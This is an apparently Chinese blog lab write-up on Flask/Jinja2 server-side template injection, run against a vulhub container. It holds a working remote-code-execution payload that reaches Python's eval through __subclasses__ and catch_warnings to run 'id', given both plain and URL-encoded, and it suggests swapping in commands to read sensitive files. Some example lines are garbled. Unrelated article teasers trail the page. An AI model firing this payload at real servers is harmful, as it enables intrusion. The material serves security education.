news 2026/5/7 0:55:31

【Flask(Jinja2)服务端模板注入漏洞】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Flask(Jinja2)服务端模板注入漏洞】

一、SSTI漏洞概述

服务端模板注入(Server-Side Template Injection,SSTI)是一种发生在Web应用程序中的安全漏洞,攻击者能够向模板引擎注入恶意模板代码,从而在服务器端执行任意代码。

二、Flask介绍

Flask是一个流行的Python Web框架,使用Jinja2作为其模板引擎。当用户输入未经适当过滤就直接在Jinja2模板中渲染时,可能会导致服务端模板注入(SSTI)漏洞,进而可能导致远程代码执行。
Flask应用的结构:

三、环境搭建

从vulhub中拉取漏洞镜像。

https://vulhub.org/zh

环境启动后,访问http://your-ip:8000/即可查看到默认页面。

四、漏洞详情

首先,访问以下URL验证SSTI漏洞是否存在:

http://localhost:8000/?name={{7*7}}

看到结果是49要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

替换恶意代码即可实现更多攻击
只需修改最后一步eval中的字符串,就能实现任意攻击行为,比如:
读取服务器敏感文件:{{ b’eval’ }}
执行其他系统命令:{{ b’eval’ }}
查看服务器网络配置:{{ b[‘eval’](‘import(“os”).popen(“ip addr”).read()’) }}

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

免责声明:

本公众号分享的网络安全工具与资料仅用于合法授权的教育、研究、安全测试及防御目的。任何使用者应确保其行为符合《网络安全法》等相关法律法规,严禁用于任何非法或未授权访问。

所有工具与实验均存在一定风险,请在具备相应知识或专业人员指导下,于自有或已获授权的环境中测试。因使用、传播相关内容而产生的任何直接或间接后果,本公众号及作者概不承担责任。

请务必在法律允许范围内,安全、负责地使用技术。

参考链接:

  • https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
  • http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/6 10:29:51

2026自然语言测试革命:多模态输入引擎的精准应用指南

测试精准度的新挑战与机遇 在2026年的软件测试领域,自然语言处理(NLP)测试需求激增,但传统方法面临歧义率高、多语言支持不足等痛点,导致错误率飙升30%以上。多模态输入引擎通过整合文本、语音、图像等多源数据&#…

作者头像 李华
网站建设 2026/5/1 10:56:44

Flutter for OpenHarmony Python学习助手实战:文件操作与IO处理的实现

在开发Python学习助手的过程中,文件操作与IO处理是一个关键功能模块。这个功能不仅要让学习者掌握Python的文件操作技能,还要通过直观的界面设计让抽象的概念变得具体可感。 界面架构的设计思路 文件操作功能的界面设计需要体现数据流动的特性。我选择…

作者头像 李华
网站建设 2026/5/4 17:06:06

开发办公文件格式转换工具,支持PDF/word/Excel/PPT互转,无需付费会员,操作简单,转换后保留原格式,解决办公中格式不兼容问题,高效便捷。

1. 实际应用场景描述场景在办公环境中,员工经常需要处理不同格式的文件:- 将 Word 文档转换为 PDF 进行正式提交。- 将 Excel 表格嵌入到 PPT 中进行汇报。- 将 PDF 中的内容提取为可编辑的 Word 文档。- 跨部门协作时,对方只接受特定格式文件…

作者头像 李华
网站建设 2026/5/3 2:32:32

前端技术经理:角色、职责与面试指南

深圳市网新新思软件有限公司 前端技术经理英文流利 职位信息 核心职责 1. 领导网页和移动渠道的现代数字前端设计与实现,为团队建立编码标准和***实践。 2. 在移动应用开发(原生 iOS 或Android,及 / 或 React Native / Flutter)和…

作者头像 李华
网站建设 2026/5/5 3:41:40

谷歌发布 Project Genie:基于文本生成可互动 3D 虚拟世界

谷歌DeepMind发布实验性AI工具Project Genie,用户通过自然语言描述就能即时创建并探索逼真的三维虚拟环境 Project Genie基于Genie 3世界模型,支持实时生成动态世界,每秒渲染24帧,分辨率达1280x720。用户输入环境提示词和角色描述…

作者头像 李华
网站建设 2026/5/1 21:10:46

繁琐部署用Docsify搞定,加上cpolar轻松搭建可远程访问的技术文档

Docsify 是一款轻量化的文档生成工具,核心功能是将 Markdown 文件直接渲染成带目录、搜索、代码高亮的网页,无需安装复杂环境,也不用构建 HTML 文件,修改内容保存后页面实时刷新,适配 Windows、macOS、Linux 全平台&am…

作者头像 李华